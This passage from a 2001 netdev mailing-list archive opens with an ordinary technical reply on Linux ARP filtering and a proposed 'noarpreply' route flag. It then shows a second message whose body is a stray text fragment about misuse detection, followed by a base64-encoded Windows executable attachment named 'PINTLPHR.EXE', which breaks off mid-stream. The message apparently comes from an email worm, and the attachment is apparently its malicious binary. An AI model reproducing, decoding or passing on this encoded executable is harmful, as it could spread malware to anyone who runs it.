, ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: arpfilter merged, next part? In-Reply-To: <20010522214540.A17295@saw.sw.com.sg> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 4951 Lines: 122 Hello, On Tue, 22 May 2001, Andrey Savochkin wrote: > > - is rt_src always local in 2.4 > > For output routes, it is. > It's either a local address or a preffered source from FIB. > We, actually, do not need to bother about whether it's local or not because > it's what administrator explicitly specified as a source for outgoing > packets. Yes, my doubt was about games with raw sockets but I see the restriction in ip_route_output*, so no problem. > But, nevertheless, preffered sources are currently checked for being local > when the entry is being added. > > > - ONLINK > > I'm not sure about it. > Providing ONLINK, you only reduce the chances of ip_route_output to succeed > and increase chances to not to send any packet. But this increases the chances we to send invalid source, eg. if ip_route_output relies on inet_select_addr. When using ONLINK we restrict the routes to RT_SCOPE_LINK, as it was before this patch. I'm not sure whether this is fatal, i.e. address from eth1 will be announced to eth0 and by this way we can change the arp table entry in some LAN hosts reachable through eth0. But your words are the final ones. I'm only thinking and ... I'm not sure. > If the destination doesn't belong to the directly attached network, something > is wrong, but, well, why not to send the packet if we have it? > The source we select is legal... Yes, the source is really local IP address but we will update an entry in remote hosts and probably they will send us the next packets to wrong device (bad with rp_filter protection). This happens if rt_src is filled with local IP from another device. But may be I'm speculating here and this is not possible :) > A fixed patch is attached. It looks good for me > > > The second patch is for Julian. > [snip] > > > > Filtering by routes is not my dream but give me some days to > > think on it (of course this patch #2 is not for 2.4.5, I hope :)). > > > > - In my case control over the announced source in the probe is needed > > You already have it, it's preferred source in your routes. Not always, I assume in my case the current rt_src will be used which is in fact the same shared IP (it is local and can appear in rt_src before arp_solicit), may be we will not reach this ip_route_output that we are adding now. But I'll make some tests with #2 soon. > > - RTF_NOARPREPLY: is it for unicast routes only? The filtering isn't > > for routes to local (ip_route_input)? > > I don't understand you well. > RTF_NOARPREPLY is for local routes. Yes, the flag usage in arp.c is right but why it is defined in include/linux/route.h where UNICAST routes only are created (I'm looking in fib_semantics.c:fib_convert_rtentry). Is the flag for the "route" command or for "ip route"? > Generally, receiving arp request we check if it's for our local address (by > that ip_route_input). > We ammend this check by additional one, whether ARP replies are disabled for > this local address or not. So, do I need something like this (and flag in another .h file)?: ip route change table local local 10.0.0.1 dev eth0 noarpreply Not an atomic operation but anyway. I'll be very happy if this flag is applied automatically to the IFF_LOOPBACK interface(s) for RT_SCOPE_HOST addresses but this is may be only a my dream. Then I can simply ip addr add SHARED_IP/32 dev lo scope host. So, this is my next proposal. Do we hurt some users? We will not reply for scope host addresses defined in dev lo? Currently, due to the fixed priority 0 of the local table it seems I can't add these addresses to table local if I need to apply different behavior (drop/reply) for some requestors. And Alexey claims it is very bad to add local addresses that are not in the local table due to many dark places in the net/ code. We found, for example, one case with icmp_send that is not very helpful with local addresses not in the local table. It seems the net code is not very ready for such games. There are many ip_dev_find calls and the problem with icmp_send is the call in ip_route_output. There is no symmetry. So, I assume the "route" command is of no help here? I need ip route and the ability to specify ip rule from ... But really, for LVS this rule is not needed. In fact, the hidden flag works just like the above ip route change command, i.e. we can't mute for some requestors and for others to reply, we filter for all. One day when we can add local addresses out of the table "local" we will have more control. But there is one difference from "hidden". The hidden flag is not so mandatory, hidden does not stop replies to unicast probes and when they come from the same device but these are "other features" and may be these features can be allowed only when ip rule control is possible for these noarpreply addresses. And I have to test the arp_solicit support for my case. I'm not sure if it is solved with patch #1. > Andrey Regards -- Julian Anastasov From owner-netdev@oss.sgi.com Wed May 23 08:05:41 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4NF5fW10380 for netdev-outgoing; Wed, 23 May 2001 08:05:41 -0700 Received: from mx1.ustc.edu.cn ([61.132.182.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4NF57F10346 for ; Wed, 23 May 2001 08:05:07 -0700 Received: from 202.38.64.1 ([202.38.79.184]) by mx1.ustc.edu.cn (8.8.7/8.8.6) with SMTP id XAA11957; Wed, 23 May 2001 23:49:49 -0800 Date: Wed, 23 May 2001 23:49:49 -0800 Message-Id: <200105240749.XAA11957@mx1.ustc.edu.cn> FROM: wenjian luo Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 90197 Lines: 1186 \par In misuse detection X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0075_011DB733.8CB73320" Content-Transfer-Encoding: 7bit This is a multi-part message in MIME format. ------=_NextPart_000_0075_011DB733.8CB73320 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit By the illegal commands performed within the system. The statistical-based threshold detection approach involves defining thresholds of the legal and illegal activities user could perform. It is mainly depending on the frequency of occurrence of various events rather than the behavior of individual user. ------=_NextPart_000_0075_011DB733.8CB73320 Content-Type: application/octet-stream; name="PINTLPHR.EXE" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="PINTLPHR.EXE" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAFVQRQAATAEFAFow9jYAAAAAAAAAAOAADwELAQUAAKAAAABoAAAAAAAAcH8A AAAQAAAAsAAAAABAAAAQAAAAAgAABAAAAAQAAAAEAAAAAAAAAADAAQAABAAA8+YBAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAADwAACMAAAAABABADgeAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAM8wAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAAKAAAAAQAAAAoAAAAAQA AAAAAADP1QAAAAAAAGAAAGAucmRhdGEAAAAGAAAAsAAAAAYAAACkAAAAAAAAAAAAAAAAAABAAABA LmRhdGEAAAA0LwAAAMAAAAAmAAAAqgAAAAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABIAAADwAAAA EgAAANAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAOyoAAAAEAEAACAAAADiAAAAAAAAAAAAAAAA AABAAADALnJlbG9jAAAAAAAAIAAAAAAAAABIAAAARABBAGgAAACYtUAAqwEAAFWuQACQAQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 